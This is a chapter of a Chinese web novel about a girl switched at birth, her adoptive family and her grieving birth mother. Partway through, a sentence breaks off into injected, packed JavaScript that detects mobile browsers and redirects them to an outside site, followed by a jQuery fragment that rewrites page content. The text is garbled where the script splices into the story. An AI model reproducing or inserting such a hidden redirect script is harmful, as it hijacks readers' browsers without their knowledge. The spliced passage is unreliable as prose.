沈栖迟回家之后一直有些心神不宁，心里始终像藏着一只没头苍蝇，在四处乱撞，她总有种要有什么大事会发生的预感。
鞋子脱了一半，她在门口怔了几秒，才后知后觉地把后跟踩回去。回到自己房间，她的背靠在门板上，轻轻地合上了门。仿佛只要慢一点，那女人眼眶里带泪的眼神就不会像梦魇似地再度浮现。
窗帘被风吹得有些鼓动，黄昏时的光线穿透窗纱，落在她的书桌和床上，整个房间笼罩着一层柔软的金粉色光晕。
但她觉得冷，莫名其妙地。
她换了家居服，钻进被子里把自己团成一团，头顶还戴着耳机听舒缓的轻音乐，想把脑海里那些不必要的思绪驱逐出去。
没用。
那双眼睛还是停在她脑海深处，像某种无法挣脱的执念，怎么也甩不掉。她不是没有遇见过陌生人，也见过在公共场合情绪失控的人，可那女人不同。
那种眼神，不是看陌生人的。
更像是……看一个失而复得却又不敢靠近的宝贝。
她感到一种说不上来的窒息。
晚饭时间到了，苏蘅在厨房里喊了一声：“七七，出来吃饭啦！”
她应了一声出门，眼神游移不定。
餐桌上，热腾腾的饭菜已经摆好。她最爱的排骨汤，颜色浓郁香气扑鼻，白萝卜在其中翻滚，汤汁中混着软烂排骨的肉香，让人胃口大开。
可她今天却毫无食欲。
她坐下来，拿起汤勺舀了一勺送入口中，却像是没尝出味道，甚至连舌尖都感觉迟钝了，连爸爸做了她最喜欢的排骨汤都喝的心不在焉。
“七七，怎么了？有心事么？”
苏蘅一边夹菜，一边柔声问，语气里藏着细微的担忧。
沈栖迟抬头，刚好对上母亲的眼神，那一瞬间她差点想把一切都说出来。但她不太想让妈妈担心，想着本来就是一个生活里的小插曲，想必以后应该也见不到那个女人，不过是一场意外罢了。所以话到嘴边，她又咽了下去，只是摇了摇头：“没什么。”
“是今天遇到什么了么？”苏蘅放下筷子，眼神更认真了。
知女莫若母。
从她出门的那一刻起，苏蘅就察觉到了不对劲。
沈栖迟和妈妈的关系一直很好，几乎称得上是无话不谈，被这么一问，那点想要隐藏的心思也淡了下来。
她拿筷子戳了戳碗里的米饭，犹豫了几秒，终于还是开了口，“就是...我今天和严雪去看画展，遇到了一个奇怪的女人。”
“奇怪的女人？”一旁的沈为民也来了兴趣，“她干了什么？”
“她问我过得好不好。”沈栖迟放下勺子，缓缓道，“然后就那样看着我，眼眶红红的，好像下一秒就要哭了。”
说到这儿，她低头看了一眼自己放在膝盖上的手，那是一种从未有过的心情。就像被一个素未谋面的人突如其来地看透了心事，又像是对方在她身上投射了什么无从拒绝的情感。
“我问她怎么了，她也不说。只是摇摇头，还想靠近我，但又忍住了。”她回忆着，“后来我实在看不下去，就递给她一瓶水。”
“她说谢谢我，还说不是故意打扰。”
餐桌短暂地沉默下来。
苏蘅眉头微蹙，似乎在心里排查各种可能。
“可能是孩子去世的家长吧。”沈为民沉吟道，“说不定你长得像她家曾经的女儿。”
“有可能。”苏蘅附和，“我在外面看到和你长得像的小姑娘，也总是忍不住多看两眼呢。”
“哪有和我长得像的小姑娘。”沈栖迟撇嘴，带着点孩子气的抗议，“我可是独一无二的。”
“是是是，我们家七七就是独一无二的。”苏蘅被她的话逗笑了，轻拍了一下她的手背。
笑声很快消散。
那顿饭她吃得很慢，食物下咽的每一口都像是一种仪式。沈栖迟从小性子开朗大大方方，这次情绪变化的这么明显，虽然不说，但都藏在眼神和动作里。苏蘅是她妈妈，自然明白她没那么快释怀。
饭后她回了房间。
天色彻底黑了，城市的灯光像颗颗碎钻镶嵌在夜色中，从阳台望出去，远处的街道还有几盏路灯在亮着，连空气都浮动着一种微妙的不安感。
沈栖迟把灯调到最暗，靠在床头看着天花板发呆。手机屏幕几次亮起又灭掉，她始终没点开微信，也没联系严雪。
她想着那女人的衣着，很讲究，一身浅色外套，搭配得体，头发柔顺地披散着，看起来是很有教养也有地位的人。
不像是那种在街头会情绪失控、随意搭话陌生人的人。
更不像骗子。
那种克制着情绪却强行微笑的模样，那眼眶里控制不住的泪水，如果不是极端的思念，又会是什么？
虽然爸爸妈妈都说的很有道理，但她就觉得还是有些不对。
只是因为长得像，就可以有那么浓烈的感情么？
深夜，她把手机调成飞行模式，打开备忘录，输入几个字——
“如果有一个人，第一次见面就用快哭的眼神看着你，是为什么？”
她盯着屏幕，久久没有按下删除键。
她隐约觉得答案就在那女人身上，但她不敢往其他的方面多想。
不是不愿意，而是不敢。
就像打破一个平静的湖面，你不知道湖底藏着的是宝藏，还是漩涡。
而她不知道的是，在城北的一幢别墅的灯光下，林曼卿正抱着她的照片坐在沙发上，眼神空洞。
这是一张从偷拍里裁剪出来的照片——女孩站在画展出口，逆光，侧脸分明，神色明亮，黑色长发被风吹得往后扬起，耳垂上那颗珍珠耳钉隐隐泛着柔光，像她年轻时候最爱戴的那一对。
她手指微颤地轻抚着照片的边缘，喃喃念着那句白天听到的回音。
“她说她过得挺好的……”林曼卿声音轻得几不可闻，眼睛却死死盯着照片上那个陌生又熟悉的女孩，仿佛只要盯得够久，对方就能从纸面上走出来，喊她一声“妈妈”。
“挺好的……”
那两个字像钝刀一样，一下一下地剐着她的心。她早该高兴的，孩子平安，健康，过得不错，甚至比很多孩子都幸运。可她一点都高兴不起来。
她眼眶通红，眼泪终于不受控制地夺眶而出。
“可她不认识我啊……”她哽咽着，肩膀发抖，“她叫我‘你’，叫我‘阿姨’，她不叫我‘妈妈’……”
那声“阿姨”，简直像一记耳光。
“她不认识我。”她重复着，像是要用这种方式让自己接受那个最残忍的事实。
陆维廷从厨房端来一杯热水，站在客厅门口沉默了一会儿才走过来，把杯子轻轻放在她面前。
“我联系了医院那边。”他低声说，“最快明天下午能安排你去抽血，验一下DNA。”
林曼卿没有接话，只是低头看着照片，眼神越来越暗。
“我不用验了。”她终于开口，声音沙哑却坚定，“她就是我女儿。我一看到她，我就知道。”
“你再等一天。”陆维廷坐到她身旁，把杯子塞到她手里，“我们得确认，不能出错。不能无缘无故上门，也不能因为揣测来的结果去伤害她。”
林曼卿的手指攥着杯子，骨节发白，水烫得发疼，她却像没知觉一样。
“我不怕她不认我，”她的声音低得像是从地底下爬出来，“我只怕，我晚认了她十六年。”
十六年。
五千八百四十天。
从知道孩子被抱错的那一刻开始她就要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677543|188716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
崩溃了。
她无数次做梦，梦见怀中那个婴儿再一次被抱回她怀里，可梦醒时只剩下冰凉的枕头和空荡荡的心口。
陆维廷抬手搂住她，轻轻拍着她的肩，感受到她身体在发抖。他心疼，却也无能为力。
“小辰还在医院呢……”他犹豫了一下，终究还是开口，“我知道你想赶紧找到孩子，但是他一个人在医院，又突然知道自己不是咱们家的孩子，心里……想必也不好受。”
林曼卿没说话，但她的手指轻轻颤了一下。
“他小的时候我们就没怎么陪过他，都是保姆和管家在照顾。”陆维廷语气温和，“现在我们终于不那么忙了，又被查出白血病，还发现不是亲生的。”
他顿了顿，看着她的侧脸，“我们养了他十六年，他也是我们的儿子，不是吗？”
林曼卿的眼神猛地转了过来，像是被什么点燃了。
“那我就因为别人家的儿子在住院，而不去找我自己的女儿了么？”
她的声音有些尖锐，带着某种失控的情绪。
陆维廷知道她现在听不进去理智话，只能耐心劝着：“你不是调查过了吗？我们的女儿被养得很好，她生活稳定，有朋友，有学业，成绩很好也很幸福。那我们是不是也要给陆聿辰一点缓冲的时间？”
“幸福？”林曼卿像是听到了什么笑话，忽然低笑了一声，眼神冷下来，“她本来可以在我们家金尊玉贵地长大，是陆家的小公主。她现在住的那个小巷子你知道有多窄吗？三个人勉强错身都得侧着身子走。”
“而且……而且……”
她声音哽住了，眼泪再一次涌了上来，“我查到了，前年她给她养母捐了骨髓。”
“她那年才不到十六岁！她还没成年！她就要给那个女人捐骨髓！”
林曼卿几乎无法控制自己的情绪，手指颤抖，嘴唇发白。
“我不知道她有没有痛苦，我不知道她怕不怕，我只知道她那个年纪，本该无忧无虑地去上学，去参加艺术班，穿漂亮裙子，画自己喜欢的画，而不是坐在病床旁边给别人捐骨髓。”
陆维廷闭上了眼，低低叹了一口气。
“那是她妈妈。”他小声提醒。
“我才是她妈妈！”林曼卿猛地抬头，眼中布满血丝，声音里是一种撕裂般的疼痛，“我怀胎十月，我分娩那天险些大出血，我在产床上忍着疼想着她第一眼长什么样……可我连她的满月都没见到！”
“我这么多年吃的药，熬的夜，捐的钱、做的善事，得来的结果就是，我的女儿要开口叫别人妈妈么！”
“我不敢认她，是怕她不认我；我现在要认她，是怕再也没有机会了。”
陆维廷看着她，眼中也有些泛红。他握住她的手，温声说：“咱们不急，一步一步来。她被养得不错，那我们就别让她生活被打乱，等DNA确认了，我们就慢慢靠近她。”
林曼卿咬着嘴唇，半晌没出声。
她在心底里承认，陆维廷说得对。
她不能再做错一步了。不能像当年那样，在医院走廊里失神片刻，就让孩子被抱错一生。
可她的心，实在太疼了。
那是一种撕裂内脏的疼，就像有人拿着刀在她心口反复地割。
“我不是不管小辰。”她低声说，“只是，我亏欠这个女儿太多了。”
陆维廷点头，“我知道。所以两个孩子，我们都得照顾到。”
屋里安静下来，只有林曼卿压抑的抽泣声断断续续。
她捧着照片看了很久，直到夜深灯暗，依旧不舍得放下。
照片里，女孩站在画展门口，明媚张扬，穿着一身漂亮的浅绿色旗袍。
那是她的女儿。
那个她在梦里无数次唤过名字，却不知该怎么开口的人。